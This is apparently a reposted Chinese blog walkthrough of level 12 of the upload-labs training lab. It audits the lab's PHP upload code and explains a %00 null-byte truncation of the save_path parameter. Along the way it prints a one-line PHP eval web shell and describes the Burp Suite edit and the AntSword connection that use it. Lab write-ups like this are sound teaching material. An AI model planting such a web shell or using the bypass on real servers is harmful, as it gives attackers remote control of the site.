码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • upload-labs第十二关教程


    upload-labs第十二关教程

    • 一、源代码分析
      • 代码审计
    • 二、绕过分析
      • 截断绕过
        • magic_quotes_gpc函数介绍
        • 关闭magic_quotes_gpc
        • 上传eval.png文件
        • 使用burpsuite进行抓包修改
        • 放包,查看是否上传成功
        • 使用中国蚁剑进行连接

    一、源代码分析

    代码审计

    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    

    这里为get请求传递文件路径到服务器,然后这里strrpos() 函数查找字符串在另一字符串中最后一次出现的位置,是后缀名白名单,截取后缀名并随机命名拼接,然后还有对$_GET[‘save_path’]可控。

    二、绕过分析

    截断绕过

    要求:php版本<5.3.29,且magic_quotes_gpc = Off,修改php.ini文件,将magic_quotes_gpc 设置为off

    magic_quotes_gpc函数介绍

    在PHP中作用是判断解析用户提示的数据,包括post/get/cookie过来的数据增加转义字符"\",以确保这些数据不会引起程序出现致命错误。
    在magic_quotes_gpc=on的情况下,如果输入数据有单引号/双引号/反斜线/null字符等,都会被加上反斜线。

    关闭magic_quotes_gpc

    在php.ini文件内将magic_quotes_gpc改为Off
    在这里插入图片描述

    上传eval.png文件

     @eval($_POST['cmd']); ?>
    

    这里直接把eval.php改为eval.png就行了,因为这里没有请求头进行检测,所以可以这样。

    使用burpsuite进行抓包修改

    由于对于save_path可控,所以在这里进行截断操作。
    修改之前:
    在这里插入图片描述
    这里的save_path=../upload/
    修改之后:
    在这里插入图片描述

    这里的save_path=../upload/eval.php%00

    放包,查看是否上传成功

    在这里插入图片描述
    在这里插入图片描述

    上传成功。这里虽然显示的是上传的是图片,其实是被截断。使用中国蚁剑时连接eval.php就行了。
    在这里插入图片描述

    使用中国蚁剑进行连接

    在这里插入图片描述

  • 相关阅读:
    (五)正点原子STM32MP135移植——烧录
    口味王cookie
    972信息检索 | 第四章 国内重要的综合性信息检索系统
    简化部署流程,提升开发效率:介绍 Electron Egg 打包优化
    DC-9靶场下载及渗透实战详细过程(DC靶场系列)
    SBD(Schottky Barrier Diode)与JBS(Junction Barrier Schottky)
    c语言中各类指针的总结
    01背包-采药
    NProgress进度条的使用
    spring中的ApplicationEventMulticaster
  • 原文地址:https://blog.csdn.net/m0_73528952/article/details/139670906
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号